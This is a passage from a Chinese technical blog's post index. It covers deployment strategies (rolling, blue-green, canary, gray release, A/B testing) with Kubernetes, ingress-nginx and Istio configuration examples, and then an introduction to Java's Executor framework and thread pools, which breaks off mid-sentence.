","date":"2022-04-20T08:50:49Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-04-20-dian-shang-hei-hua-zhi-spu-sku/cover.jpg","permalink":"/p/2022-04-20-dian-shang-hei-hua-zhi-spu-sku/","title":"电商黑话之 spu sku"},{"content":"目录 滚动部署\n蓝绿发布\n为什么还需要蓝绿\n金丝雀发布（canary）\n金丝雀和蓝绿的对比\n灰度发布\nA/B Test\n实现\nkubernetes\nistio\nspring cloud\n网关\n参考\n滚动部署 在滚动部署中，应用的新版本逐步替换旧版本。实际的部署发生在一段时间内。在此期间，新旧版本会共存，而不会影响功能和用户体验。这个过程可以更轻易的回滚和旧组件不兼容的任何新组件。\n下图显示了该部署模式：旧版本显示为蓝色，新版本显示为绿色，它们部署在集群中的每一台服务器上。\n应用程序套件升级是一个滚动部署的典型例子。如果原始应用部署在容器中，升级可以一次处理一个容器。修改每个容器从应用供应商的站点上下载最新的镜像。如果其中的一个应用存在兼容性问题，旧的镜像可以重新创建这个容器。在这种情况下，套件的新旧版本应用可以共存，直到每个应用都更新完毕。\n但是滚动升级有一个问题，在开始滚动升级后，流量会直接流向已经启动起来的新版本，但是这个时候，新版本是不一定可用的，比如需要进一步的测试才能确认。那么在滚动升级期间，整个系统就处于非常不稳定的状态，如果发现了问题，也比较难以确定是新版本还是老版本造成的问题。\n为了解决这个问题，我们需要为滚动升级实现流量控制能力。\n蓝绿发布 蓝绿发布提供了一种零宕机的部署方式。不停老版本，部署新版本进行测试，确认OK，将流量切到新版本，然后老版本同时也升级到新版本。始终有两个版本同时在线，有问题可以快速切换。\n蓝绿发布的特点：\n在部署应用的过程中，应用始终在线。并且新版本上线过程中，不会修改老版本的任何内容，在部署期间老版本状态不受影响。只要老版本的资源不被删除，可以在任何时间回滚到老版本。\n以下示意图可描述灰度发布的大致流程：先切分20%的流量到新版本，若表现正常，逐步增加流量占比，继续测试新版本表现。若新版本一直很稳定，那么将所有流量都切分到新版本，并下线老版本。\n切分20%的流量到新版本后，新版本出现异常，则快速将流量切回老版本。\n蓝绿部署要求在升级过程中，同时运行两套程序，对硬件的要求就是日常所需的二倍，比如日常运行时，需要10台服务器支撑业务，那么使用蓝绿部署，你就需要购置二十台服务器。\n为什么还需要蓝绿 有了灰度发布之后，为什么还需要蓝绿发布呢？主要有如下几点考虑：\n应用在生产环境全量发布后，发现故障时回滚时间慢。当线上核心应用存在几十上百的服务实例时，应用实例分批滚动回滚，部分业务应用启动时间需要几分钟，导致整个回滚过程的时间可能超过十分钟，甚至几十分钟。\n灰度发布期间能发现的问题有限。如数据库慢查问题、死锁问题等，10%流量很难发现，可能只会在100%流量中才容易暴露。\n灰度发布成功后，仍然需要进行全量发布，在此过程中仍有较多不确定性，如因一些未预料的异常导致发布失败等。\n对于上面几个问题，使用蓝绿发布系统都可以较好地解决：\n蓝绿发布期间，流量全部切至新集群时，原稳定集群继续保持在线，若新集群有问题，可通过流量控制秒级切回至原稳定集群，没有应用启动以及其他等待时间。\n蓝绿发布期间，新集群规模与原稳定集群规模一致，即使是瞬时大流量也没有问题。\n蓝绿发布期间，新集群承载全站流量，容易验证各种场景，如数据库死锁等并发问题。\n蓝绿发布新集群验证完成后，已经处于正常服务状态，不会再引入不确定性的变更操作。\n金丝雀发布（canary） 在生产环境上引一部分实际流量对一个新版本进行测试，测试新版本的性能和表现，在保证系统整体稳定运行的前提下，尽早发现新版本在实际环境上的问题。\n“\n为什么叫金丝雀发布呢，是因为金丝雀对矿场中的毒气比较敏感，所以在矿场开工前工人们会放一只金丝雀进去，以验证矿场是否存在毒气，这便是金丝雀发布名称的由来。\n”\n金丝雀发布的特点：\n通过在线上运行的服务中，新加入少量的新版本的服务，然后从这少量的新版本中快速获得反馈，根据反馈决定最后的交付形态。\n下图为华为云的金丝雀发布界面：\n步骤一：将流量从待部署节点移出，更新该节点服务到待发布状态，将该节点称为金丝雀节点；\n步骤二：根据不同策略，将流量引入金丝雀节点。策略可以根据情况指定，比如随机样本策略（随机引入）、狗粮策略（就是内部用户或员工先尝鲜）、分区策略（不同区域用户使用不同版本）、用户特征策略（这种比较复杂，需要根据用户个人资料和特征进行分流，类似于千人千面）；\n步骤三：金丝雀节点验证通过后，选取更多的节点称为金丝雀节点，重复步骤一和步骤二，直到所有节点全部更新\n金丝雀部署和蓝绿有点像，但是它更加规避风险。你可以阶段性的进行，而不用一次性从蓝色版本切换到绿色版本。\n采用金丝雀部署，你可以在生产环境的基础设施中小范围的部署新的应用代码。一旦应用签署发布，只有少数用户被路由到它。最大限度的降低影响。如果没有错误发生，新版本可以逐渐推广到整个基础设施。下图示范了金丝雀部署：\n金丝雀和蓝绿的对比 名称 特点 优势 劣势 蓝绿部署 同时存在两个集群，两个集群中只有一个集群真正提供服务，另外一个集群测试、验证或待命 服务文档，版本回退简单，适用于各种场景的升级，大版本不兼容升级的或迭代兼容升级 浪费硬件资源，需要同时有两个集群，如果集群比较大，比如有1000个节点，这种方式几乎不可用 金丝雀部署 逐点部署，逐步替换线上服务 小步快跑，快速迭代 只能适用于兼容迭代的方式，如果是大版本不兼容的场景，就没办法使用这种方式了 灰度发布 灰度发布是迭代的软件产品在生产环境安全上线的一种重要手段。\n灰度发布，也叫金丝雀发布。是指在黑与白之间，能够平滑过渡的一种发布方式。AB test就是一种灰度发布方式，让一部分用户继续用A，一部分用户开始用B，如果用户对B没有什么反对意见，那么逐步扩大范围，把所有用户都迁移到B上面来。灰度发布可以保证整体系统的稳定，在初始灰度的时候就可以发现、调整问题，以保证其影响度，而我们平常所说的金丝雀部署也就是灰度发布的一种方式。\nA/B Test A/B测试和蓝绿发布、滚动发布以及金丝雀发布，完全是两回事。\n蓝绿发布、滚动发布和金丝雀是发布策略，目标是确保新上线的系统稳定，关注的是新系统的BUG、隐患。\nA/B测试是效果测试，同一时间有多个版本的服务对外服务，这些服务都是经过足够测试，达到了上线标准的服务，有差异但是没有新旧之分（它们上线时可能采用了蓝绿部署的方式）。\nA/B测试关注的是不同版本的服务的实际效果，譬如说转化率、订单情况等。\nA/B测试时，线上同时运行多个版本的服务，这些服务通常会有一些体验上的差异，譬如说页面样式、颜色、操作流程不同。相关人员通过分析各个版本服务的实际效果，选出效果最好的版本。\n实现 kubernetes 官方的金丝雀发布方式\nhttps://kubernetes.io/zh/docs/concepts/cluster-administration/manage-deployment/#canary-deployments\nDeployment滚动更新策略实现金丝雀发布\n利用Deployment的滚动更新策略maxSurge和maxUnavailable设置最大可超期望的节点数和最大不可用节点数可实现简单的金丝雀发布。\nrollingUpdate.maxSurge最大可超期望的节点数，百分比 10% 或者绝对数值 5\nrollingUpdate.maxUnavailable最大不可用节点数，百分比或者绝对数值\n1apiVersion: extensions/v1beta1 2kind: Deployment 3metadata: 4 name: demo-deployment 5 namespace: default 6spec: 7 replicas: 10 8 selector: 9 matchLabels: 10 name: hello-deployment 11 strategy: 12 type: RollingUpdate 13 rollingUpdate: 14 maxSurge: 10% 15 maxUnavailable: 0 16 template: 17 metadata: 18 labels: 19 name: demo-deployment 20 spec: 21 containers: 22 - name: webserver 23 image: nginx:1.14 24 ports: 25 - containerPort:80 26 Ingress-Nginx配置Ingress Annotations实现金丝雀发布\nIngress-Nginx 支持配置 Ingress Annotations 来实现不同场景下的金丝雀发布。Nginx Annotations 支持以下 4 种 Canary 规则：\nnginx.ingress.kubernetes.io/canary-by-header：基于 Request Header 的流量切分，适用于灰度发布以及 A/B 测试。当 Request Header 设置为 always时，请求将会被一直发送到 Canary 版本；当 Request Header 设置为 never时，请求不会被发送到 Canary 入口；对于任何其他 Header 值，将忽略 Header，并通过优先级将请求与其他金丝雀规则进行优先级的比较。\nnginx.ingress.kubernetes.io/canary-by-header-value：要匹配的 Request Header 的值，用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务。当 Request Header 设置为此值时，它将被路由到 Canary 入口。该规则允许用户自定义 Request Header 的值，必须与上一个 annotation (即：canary-by-header）一起使用。\nnginx.ingress.kubernetes.io/canary-weight：基于服务权重的流量切分，适用于蓝绿部署，权重范围 0 - 100 按百分比将请求路由到 Canary Ingress 中指定的服务。权重为 0 意味着该金丝雀规则不会向 Canary 入口的服务发送任何请求。权重为 100 意味着所有请求都将被发送到 Canary 入口。\nnginx.ingress.kubernetes.io/canary-by-cookie：基于 Cookie 的流量切分，适用于灰度发布与 A/B 测试。用于通知 Ingress 将请求路由到 Canary Ingress 中指定的服务的cookie。当 cookie 值设置为 always时，它将被路由到 Canary 入口；当 cookie 值设置为 never时，请求不会被发送到 Canary 入口；对于任何其他值，将忽略 cookie 并将请求与其他金丝雀规则进行优先级的比较。\n注意：金丝雀规则按优先顺序进行如下排序：canary-by-header - \u0026gt; canary-by-cookie - \u0026gt; canary-weight很显然\ncanary-weight是一种随机策略。\ncanary-by-cookie和canary-by-header-value适合后端金丝雀发布实现\ncanary-by-cookie适合前端金丝雀发布实现。\n1apiVersion: extensions/v1beta1 2kind: Ingress 3metadata: 4 name: demo-canary 5 annotations: 6 kubernetes.io/ingress.class: nginx 7 nginx.ingress.kubernetes.io/canary: \u0026#34;true\u0026#34; 8 nginx.ingress.kubernetes.io/canary-by-header: \u0026#34;canary\u0026#34; 9 nginx.ingress.kubernetes.io/canary-by-cookie: \u0026#34;canary\u0026#34; 10spec: 11 rules: 12 - host: demo-api.fulu.com 13 http: 14 paths: 15 - backend: 16 serviceName: demo-api-canary 17 servicePort: 80 具体流程\n如果是第一次发布，必须是正常版本。\n如果发布金丝雀版本，则先检测是否有-canary后缀的ingress、service、deployment，如果有则替换金丝雀版本的镜像，如果没有则创建-canary后缀的ingress、service、deployment。\n如果发布正常版本，则先检测是否有-canary后缀的ingress、service、deployment，如果有则先删除它们，再替换正常版本的镜像。\n蓝绿部署实现： https://www.cnblogs.com/itzgr/p/14602827.html\n以上这些方式只是实现了一种非常简单的金丝雀发布流程，是没有办法做更精细，比如说按用户信息去灰度的规则的。对于同一个用户，也有可能一次请求到了金丝雀中，下一次请求又到了正式环境中。假如需要更加精细的灰度规则，可以考虑采用spring cloud, istio等工具\nistio Kubernetes 中的金丝雀部署\n假设我们有一个已部署的 helloworld 服务 v1 版本，我们想要测试（或简单上线）新版本 v2。使用 Kubernetes，您可以通过简单地更新服务的 [Deployment] 中的镜像并自动进行部署来[上线]新版本的 helloworld 服务。如果我们特能够小心保证在启动并且在仅启动一个或两个 v2 副本[暂停]上线时有足够的 v1 副本运行，则能够保持金丝雀发布对系统的影响非常小。后续我们可以观察效果，或在必要时进行[回滚]。最好，我们也能够对 Deployment 设置 [HPA]，在上线过程中减少或增加副本以处理流量负载时，也能够保持副本比例一致。\n尽管这种机制能够很好工作，但这种方式只适用于部署的经过适当测试的版本，也就是说，更多的是蓝/绿发布，又称红/黑发布，而不是 “蜻蜓点水“ 式的金丝雀部署。实际上，对于后者（例如，并没有完全准备好或者无意对外暴露的版本），Kubernetes 中的金丝雀部署将使用具有[公共 pod 标签]的两个 Deployment 来完成。在这种情况下，我们不能再使用自动缩放器，因为是有由两个独立的自动缩放器来进行控制，不同负载情况下，副本比例（百分比）可能与所需的比例不同。\n无论我们使用一个或者两个部署，使用 Docker，Mesos/Marathon 或 Kubernetes 等容器编排平台进行的金丝雀发布管理都存在一个根本问题：使用实例扩容来管理流量；版本流量分发和副本部署在上述平台中并独立。所有 pod 副本，无论版本如何，在 kube-proxy 循环池中都被一视同仁地对待，因此管理特定版本接收的流量的唯一方法是控制副本比例。以小百分比维持金丝雀流量需要许多副本（例如，1％ 将需要至少 100 个副本）。即使我们可以忽略这个问题，部署方式功能仍然非常有限，因为它只支持简单（随机百分比）金丝雀部署。如果我们想根据某些特定规则将请求路由到金丝雀版本上，我们仍然需要另一种解决方案。\n使用 Istio，流量路由和副本部署是两个完全独立的功能。服务的 pod 数量可以根据流量负载灵活伸缩，与版本流量路由的控制完全正交。这在自动缩放的情况下能够更加简单地管理金丝雀版本。事实上，自动缩放管理器仍然独立运行，其在响应因流量路由导致的负载变化与其他原因导致负载变化的行为上没有区别。\nIstio 的[路由规则]也带来了其他的便利；你可以轻松实现细粒度控制流量百分比（例如，路由 1％ 的流量而不需要 100 个 pod），当然也可以使用其他规则来控制流量（例如，将特定用户的流量路由到金丝雀版本）。作为展示，让我们看一下采用这种方式部署 helloworld 服务的简单便捷。\n首先我们定义 helloworld 服务，和普通 Kubernetes 服务一样，如下所示：\n1apiVersion: v1 2kind: Service 3metadata: 4name: helloworld 5labels: 6 app: helloworld 7spec: 8 selector: 9 app: helloworld 10 ... 11 然后我们添加 2 个 Deployment，分别为版本 v1 和 v2，这两个版本都包含服务选择标签 app：helloworld\n1kind: Deployment 2metadata: 3 name: helloworld-v1 4spec: 5 replicas: 1 6 template: 7 metadata: 8 labels: 9 app: helloworld 10 version: v1 11 spec: 12 containers: 13 - image: helloworld-v1 14 ... 15--- 16apiVersion: extensions/v1beta1 17kind: Deployment 18metadata: 19 name: helloworld-v2 20spec: 21 replicas: 1 22 template: 23 metadata: 24 labels: 25 app: helloworld 26 version: v2 27 spec: 28 containers: 29 - image: helloworld-v2 30 ... 需要注意的是，这与使用普通 Kubernetes 进行[金丝雀部署]的方式完全相同，但是在 Kubernetes 方式下控制流量分配需要调整每个 Deployment 的副本数目。例如，将 10％ 的流量发送到金丝雀版本（v2），v1 和 v2 的副本可以分别设置为 9 和 1。\n但是在[启用 Istio] 的集群中，我们可以通过设置路由规则来控制流量分配。如将 10％ 的流量发送到金丝雀版本本，我们可以使用 kubectl 来设置以下的路由规则：\n1kubectl apply -f - \u0026lt;\u0026lt;EOF 2apiVersion: networking.istio.io/v1alpha3 3kind: VirtualService 4metadata: 5 name: helloworld 6spec: 7 hosts: 8 - helloworld 9 http: 10 - route: 11 - destination: 12 host: helloworld 13 subset: v1 14 weight: 90 15 - destination: 16 host: helloworld 17 subset: v2 18 weight: 10 19--- 20apiVersion: networking.istio.io/v1alpha3 21kind: DestinationRule 22metadata: 23 name: helloworld 24spec: 25 host: helloworld 26 subsets: 27 - name: v1 28 labels: 29 version: v1 30 - name: v2 31 labels: 32 version: v2 33EOF 34 当规则设置生效后，Istio 将确保只有 10% 的请求发送到金丝雀版本，无论每个版本的运行副本数量是多少。\n以上是使用istio 进行的金丝雀部署，当然蓝绿也是类似的。\nspring cloud spring cloud gateway也可以实现灰度发布，另外还有一款 spring cloud 的增强组件，可以实现灰度、蓝绿等功能（Discovery: https://github.com/Nepxion/Discovery）\n网关 利用云原生网关比如 APISIX ：\nhttps://apisix.apache.org/zh/docs/apisix/plugins/traffic-split/#蓝绿发布\nhttps://apisix.apache.org/zh/docs/apisix/plugins/traffic-split/#灰度发布\n参考 https://cloud.tencent.com/developer/article/1835861\nhttps://www.infoq.cn/article/lei4vsfpiw5a6en-aso4\nhttps://zhuanlan.zhihu.com/p/42671353\nhttps://www.cnblogs.com/fulu/p/15648351.html\nhttps://tech.youzan.com/gray-deloyments-and-blue-green-deployments-practices-in-youzan/](https://tech.youzan.com/gray-deloyments-and-blue-green-deployments-practices-in-youzan/\nhttps://cloud.tencent.com/developer/article/1835861](https://cloud.tencent.com/developer/article/1835861\nhttps://istio.io/latest/zh/blog/2017/0.1-canary/\nhttps://www.zerchin.xyz/2020/08/10/K8s-1-18-6版本基于-ingress-nginx-实现金丝雀发布（灰度发布）\nhttps://www.cnblogs.com/Courage129/p/14498788.html\nhttps://cloud.tencent.com/developer/article/1620795\n","date":"2022-04-19T07:13:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-04-19-hui-du-fa-bu-lan-l-bu-shu-jin-si-que-dou-shi-sha/cover.jpg","permalink":"/p/2022-04-19-hui-du-fa-bu-lan-l-bu-shu-jin-si-que-dou-shi-sha/","title":"灰度发布、蓝绿部署、金丝雀都是啥？"},{"content":"概述 Executor作为一个灵活且强大的异步执行框架，其支持多种不同类型的任务执行策略，提供了一种标准的方法将任务的提交过程和执行过程进行了解耦开发，基于生产者和消费者模型，还提供了对生命周期的支持，以及统计信息收集，应用程序管理机制和性能检测等机制。\n成员分为四个部分：任务、任务执行、任务执行结果以及任务执行工具类\n任务：实现Callable接口或Runnable接口 任务执行部分：ThreadPoolExecutor以及ScheduledThreadPoolExecutor 任务执行结果：Future接口以及FutureTask实现类 任务执行工厂类：Executors Executor Java的线程既是工作单元也是执行单元\n1 new Thread(new Runnable() { 2 @Override 3 public void run() { 4 log.info(\u0026#34;hello\u0026#34;); 5 } 6 }).start(); 从JDK5开始，把工作单元与执行机制分离开来，工作单元包括Runnable和Callable,而执行机制由Executor框架提供。\nExecutor接口解耦了任务和任务的执行，该接口只有一个方法\n1public interface Executor { 2 /** 3 * 执行给定的Runnable任务. 4 * 根据Executor的实现不同, 具体执行方式也不相同. 5 * 6 * @param command the runnable task 7 * @throws RejectedExecutionException if this task cannot be accepted for execution 8 * @throws NullPointerException if command is null 9 */ 10 void execute(Runnable command); 11} 我们可以像下面这样执行任务，而不是显示的创建线程（new Thread(new RunnableTask()).start()）：\n1Executor executor = anExecutor(); 2executor.execute(new RunnableTask1()); 3executor.execute(new RunnableTask2()); 4... Executor仅仅是一个接口，所以根据其实现的不同，执行任务的具体方式也不尽相同。Executor 接口并不严格要求执行是异步的，也就是说可以是同步的或者异步的：\n同步 1 class DirectExecutor implements Executor { 2 public void execute(Runnable r) { 3 r.run(); 4 } 5 } 6 7DirectExecutor是一个同步任务执行器，对于传入的任务，只有执行完成后execute才会返回。 异步 1class ThreadPerTaskExecutor implements Executor { 2 public void execute(Runnable r) { 3 new Thread(r).start(); 4 } 5 } 6 7ThreadPerTaskExecutor是一个异步任务执行器，对于每个任务，执行器都会创建一个新的线程去执行任务 许多 Executor 实现对任务的调度方式和时间施加了某种限制，通过下面这个例子我们其实可以看到线程池的雏形。\n1 class SerialExecutor implements Executor { 2 final Queue\u0026lt;Runnable\u0026gt; tasks = new ArrayDeque\u0026lt;\u0026gt;(); 3 final Executor executor; 4 Runnable active; 5 6 SerialExecutor(Executor executor) { 7 this.executor = executor; 8 } 9 10 public synchronized void execute(Runnable r) { 11 tasks.add(() -\u0026gt; { 12 try { 13 r.run(); 14 } finally { 15 scheduleNext(); 16 } 17 }); 18 if (active == null) { 19 scheduleNext(); 20 } 21 } 22 23 protected synchronized void scheduleNext() { 24 if ((active = tasks.poll()) != null) { 25 executor.execute(active); 26 } 27 } 28 } 总结：Executor 的目的是为了解耦任务本身和任务的执行\nExecutorService ExecutorService继承了Executor，它在Executor的基础上增强了对任务的控制，同时包括对自身生命周期的管理，主要有四类：\n关闭执行器，禁止任务的提交； 监视执行器的状态； 提供对异步任务的支持； 提供对批处理任务的支持。 1public interface ExecutorService extends Executor { 2 3 /** 4 * 关闭执行器, 主要有以下特点: 5 * 1. 已经提交给该执行器的任务将会继续执行, 但是不再接受新任务的提交; 6 * 2. 如果执行器已经关闭了, 则再次调用没有副作用. 7 */ 8 void shutdown(); 9 10 /** 11 * 立即关闭执行器, 主要有以下特点: 12 * 1. 尝试停止所有正在执行的任务, 无法保证能够停止成功, 但会尽力尝试(例如, 通过 Thread.interrupt中断任务, 但是不响应中断的任务可能无法终止); 13 * 2. 暂停处理已经提交但未执行的任务; 14 * 15 * @return 返回已经提交但未执行的任务列表 16 */ 17 List\u0026lt;Runnable\u0026gt; shutdownNow(); 18 19 /** 20 * 如果该执行器已经关闭, 则返回true. 21 */ 22 boolean isShutdown(); 23 24 /** 25 * 判断执行器是否已经【终止】. 26 * \u0026lt;p\u0026gt; 27 * 仅当执行器已关闭且所有任务都已经执行完成, 才返回true. 28 * 注意: 除非首先调用 shutdown 或 shutdownNow, 否则该方法永远返回false. 29 */ 30 boolean isTerminated(); 31 32 /** 33 * 阻塞调用线程, 等待执行器到达【终止】状态. 34 * 35 * @return {@code true} 如果执行器最终到达终止状态, 则返回true; 否则返回false 36 * @throws InterruptedException if interrupted while waiting 37 */ 38 boolean awaitTermination(long timeout, TimeUnit unit) throws InterruptedException; 39 40 /** 41 * 提交一个具有返回值的任务用于执行. 42 * 注意: Future的get方法在成功完成时将会返回task的返回值. 43 * 44 * @param task 待提交的任务 45 * @param \u0026lt;T\u0026gt; 任务的返回值类型 46 * @return 返回该任务的Future对象 47 * @throws RejectedExecutionException 如果任务无法安排执行 48 * @throws NullPointerException if the task is null 49 */ 50 \u0026lt;T\u0026gt; Future\u0026lt;T\u0026gt; submit(Callable\u0026lt;T\u0026gt; task); 51 52 /** 53 * 提交一个 Runnable 任务用于执行. 54 * 注意: Future的get方法在成功完成时将会返回给定的结果(入参时指定). 55 * 56 * @param task 待提交的任务 57 * @param result 返回的结果 58 * @param \u0026lt;T\u0026gt; 返回的结果类型 59 * @return 返回该任务的Future对象 60 * @throws RejectedExecutionException 如果任务无法安排执行 61 * @throws NullPointerException if the task is null 62 */ 63 \u0026lt;T\u0026gt; Future\u0026lt;T\u0026gt; submit(Runnable task, T result); 64 65 /** 66 * 提交一个 Runnable 任务用于执行. 67 * 注意: Future的get方法在成功完成时将会返回null. 68 * 69 * @param task 待提交的任务 70 * @return 返回该任务的Future对象 71 * @throws RejectedExecutionException 如果任务无法安排执行 72 * @throws NullPointerException if the task is null 73 */ 74 Future\u0026lt;?\u0026gt; submit(Runnable task); 75 76 /** 77 * 执行给定集合中的所有任务, 当所有任务都执行完成后, 返回保持任务状态和结果的 Future 列表. 78 * \u0026lt;p\u0026gt; 79 * 注意: 该方法为同步方法. 返回列表中的所有元素的Future.isDone() 为 true. 80 * 81 * @param tasks 任务集合 82 * @param \u0026lt;T\u0026gt; 任务的返回结果类型 83 * @return 任务的Future对象列表，列表顺序与集合中的迭代器所生成的顺序相同， 84 * @throws InterruptedException 如果等待时发生中断, 会将所有未完成的任务取消. 85 * @throws NullPointerException 任一任务为 null 86 * @throws RejectedExecutionException 如果任一任务无法安排执行 87 */ 88 \u0026lt;T\u0026gt; List\u0026lt;Future\u0026lt;T\u0026gt;\u0026gt; invokeAll(Collection\u0026lt;? extends Callable\u0026lt;T\u0026gt;\u0026gt; tasks) throws InterruptedException; 89 90 /** 91 * 执行给定集合中的所有任务, 当所有任务都执行完成后或超时期满时（无论哪个首先发生）, 返回保持任务状态和结果的 Future 列表. 92 */ 93 \u0026lt;T\u0026gt; List\u0026lt;Future\u0026lt;T\u0026gt;\u0026gt; invokeAll(Collection\u0026lt;? extends Callable\u0026lt;T\u0026gt;\u0026gt; tasks, long timeout, TimeUnit unit) throws InterruptedException; 94 95 /** 96 * 执行给定集合中的任务, 只有其中某个任务率先成功完成（未抛出异常）, 则返回其结果. 97 * 一旦正常或异常返回后, 则取消尚未完成的任务. 98 */ 99 \u0026lt;T\u0026gt; T invokeAny(Collection\u0026lt;? extends Callable\u0026lt;T\u0026gt;\u0026gt; tasks) throws InterruptedException, ExecutionException; 100 101 /** 102 * 执行给定集合中的任务, 如果在给定的超时期满前, 某个任务已成功完成（未抛出异常）, 则返回其结果. 103 * 一旦正常或异常返回后, 则取消尚未完成的任务. 104 */ 105 \u0026lt;T\u0026gt; T invokeAny(Collection\u0026lt;? extends Callable\u0026lt;T\u0026gt;\u0026gt; tasks, long timeout, TimeUnit unit) 106 throws InterruptedException, ExecutionException, TimeoutException; 107} ScheduledExecutorService ScheduledExecutorService 在ExecutorService的基础上提供了一系列schedule方法，可以在给定的延迟后执行提交的任务，或者每个指定的周期执行一次提交的任务\n举例\n1import static java.util.concurrent.TimeUnit.*; 2 3/** 4* 利用scheduleAtFixedRate方法提交了一个“蜂鸣”任务，每隔10s该任务会执行一次， 1小时后, 取消蜂鸣任务 5*/ 6 7 class BeeperControl { 8 private final ScheduledExecutorService scheduler = 9 Executors.newScheduledThreadPool(1); 10 11 public void beepForAnHour() { 12 Runnable beeper = () -\u0026gt; System.out.println(\u0026#34;beep\u0026#34;); 13 ScheduledFuture\u0026lt;?\u0026gt; beeperHandle = 14 scheduler.scheduleAtFixedRate(beeper, 10, 10, SECONDS); 15 Runnable canceller = () -\u0026gt; beeperHandle.cancel(false); 16 scheduler.schedule(canceller, 1, HOURS); 17 } 18 } ScheduledExecutorService完整的接口声明如下：\n1public interface ScheduledExecutorService extends ExecutorService { 2 3 /** 4 * 提交一个待执行的任务, 并在给定的延迟后执行该任务. 5 * 6 * @param command 待执行的任务 7 * @param delay 延迟时间 8 * @param unit 延迟时间的单位 9 */ 10 public ScheduledFuture\u0026lt;?\u0026gt; schedule(Runnable command, long delay, TimeUnit unit); 11 12 /** 13 * 提交一个待执行的任务（具有返回值）, 并在给定的延迟后执行该任务. 14 * 15 * @param command 待执行的任务 16 * @param delay 延迟时间 17 * @param unit 延迟时间的单位 18 * @param \u0026lt;V\u0026gt; 返回值类型 19 */ 20 public \u0026lt;V\u0026gt; ScheduledFuture\u0026lt;V\u0026gt; schedule(Callable\u0026lt;V\u0026gt; callable, long delay, TimeUnit unit); 21 22 /** 23 * 提交一个待执行的任务. 24 * 该任务在 initialDelay 后开始执行, 然后在 initialDelay+period 后执行, 接着在 initialDelay + 2 * period 后执行, 依此类推. 25 * 26 * @param command 待执行的任务 27 * @param initialDelay 首次执行的延迟时间 28 * @param period 连续执行之间的周期 29 * @param unit 延迟时间的单位 30 */ 31 public ScheduledFuture\u0026lt;?\u0026gt; scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit); 32 33 /** 34 * 提交一个待执行的任务. 35 * 该任务在 initialDelay 后开始执行, 随后在每一次执行终止和下一次执行开始之间都存在给定的延迟. 36 * 如果任务的任一执行遇到异常, 就会取消后续执行. 否则, 只能通过执行程序的取消或终止方法来终止该任务. 37 * 38 * @param command 待执行的任务 39 * @param initialDelay 首次执行的延迟时间 40 * @param delay 一次执行终止和下一次执行开始之间的延迟 41 * @param unit 延迟时间的单位 42 */ 43 public ScheduledFuture\u0026lt;?\u0026gt; scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit); 44} 小结 Executor：提交普通的可执行任务 ExecutorService：提供对线程池生命周期的管理、异步任务的支持 ScheduledExecutorService：提供对任务的周期性执行支持 以上介绍的类， Executor ExecutorService ScheduledExecutorService 都是接口的定义，下面看一下具体的实现。\n上面提到的接口和类的关系如下图所示：\nExecutor\n执行器接口，也是最顶层的抽象核心接口， 分离了任务和任务的执行。\nExecutorService\n在Executor的基础上提供了执行器生命周期管理，任务异步执行等功能。\nScheduledExecutorService\n在ExecutorService基础上提供了任务的延迟执行/周期执行的功能。\nExecutors\n生产具体的执行器的静态工厂\nThreadFactory\n线程工厂，用于创建单个线程，减少手工创建线程的繁琐工作，同时能够复用工厂的特性。\nAbstractExecutorService\nExecutorService的抽象实现，为各类执行器类的实现提供基础。\nThreadPoolExecutor\n线程池Executor，也是最常用的Executor，可以以线程池的方式管理线程。\nScheduledThreadPoolExecutor\n在ThreadPoolExecutor基础上，增加了对周期任务调度的支持。\nForkJoinPool\nFork/Join线程池，在JDK1.7时引入，时实现Fork/Join框架的核心类。\nExecutor执行流程如下：\nExecutors Executors提供一个简单工厂和一系列工具方法，它的所有方法都是static的，用户可以根据需要，选择需要创建的执行器实例，Executors一共提供了五类方法：\n创建和返回设置了具有常用配置的 ExecutorService 实例的方法 创建和返回设置了具有常用配置的 ScheduledExecutorService 实例的方法 创建和返回 ExecutorService 的包装类实例的方法，这些类可以隐藏子类的特殊实现，只暴露父类的方法 创建和返回 将新创建的线程设置为已知状态的ThreadFactory 实例的方法 从其他类似闭包的形式中创建和返回 Callable 实例的方法，它们可以在需要 Callable 的方法中使用。 我们从如下图的方法签名上也大致看的出来：\n为什么要有包装类？\n因为如果直接返回如 ThreadPoolExecutor这样的类，会包括一些设置线程池的方法，比如 setCorePoolSize，但有时候我们不希望使用者强制转换后使用这些方法（比如：newSingleThreadExecutor），就需要包装一下，让它返回的类只暴露ExecutorService本身的方法\nDelegatedExecutorService 就是对ExecutorService的一种包装，仅仅只给使用者暴露 ExecutorService的接口方法，屏蔽掉具体实现类的独有方法。 DelegatedScheduledExecutorService是对ScheduledExecutorService的包装，仅仅只给使用者暴露 ScheduledExecutorService的接口方法，而FinalizableDelegatedExecutorService是在对ExecutorService的包装基础上，增加了自动线程池回收的功能，其finalize方法会在虚拟机gc清理对象时被调用，从而将用户忘记关闭的无用线程池关闭并回收。 ThreadPoolExecutor Executor在日常使用中最常见的场景就是线程池了。\n什么是线程池？ 线程池（Thread Pool）是一种基于池化思想管理线程的工具\n线程池的作用是什么？ “\n线程池做的工作主要是控制运行的线程的数量，处理过程中将任务放入队列，然后在线程创建后启动这些任务，如果线程数量超过了最大数量超出数量的线程排队等候，等其它线程执行完毕，再从队列中取出任务来执行。他的主要特点为：线程复用；控制最大并发数；管理线程。\n”\n利用线程池的好处是什么？ 利用线程池能够对线程进行统一分配，调优和监控:\n降低资源消耗：通过池化技术重复利用已创建的线程，降低线程创建和销毁造成的损耗。 提高响应速度：任务到达时，无需等待线程创建即可立即执行。 提高线程的可管理性：线程是稀缺资源，如果无限制创建，不仅会消耗系统资源，还会因为线程的不合理分布导致资源调度失衡，降低系统的稳定性。使用线程池可以进行统一的分配、调优和监控。 提供更多更强大的功能：线程池具备可拓展性，允许开发人员向其中增加更多的功能。比如延时定时线程池ScheduledThreadPoolExecutor，就允许任务延期执行或定期执行。 线程池解决的问题是什么？ 线程池解决的核心问题就是资源管理问题。在并发环境下，系统不能够确定在任意时刻中，有多少任务需要执行，有多少资源需要投入。这种不确定性将带来以下若干问题：\n频繁申请/销毁资源和调度资源，将带来额外的消耗，可能会非常巨大。 对资源无限申请缺少抑制手段，易引发系统资源耗尽的风险。 系统无法合理管理内部的资源分布，会降低系统的稳定性。 为解决资源分配这个问题，线程池采用了“池化”（Pooling）思想。\n“\nPooling is the grouping together of resources (assets, equipment, personnel, effort, etc.) for the purposes of maximizing advantage or 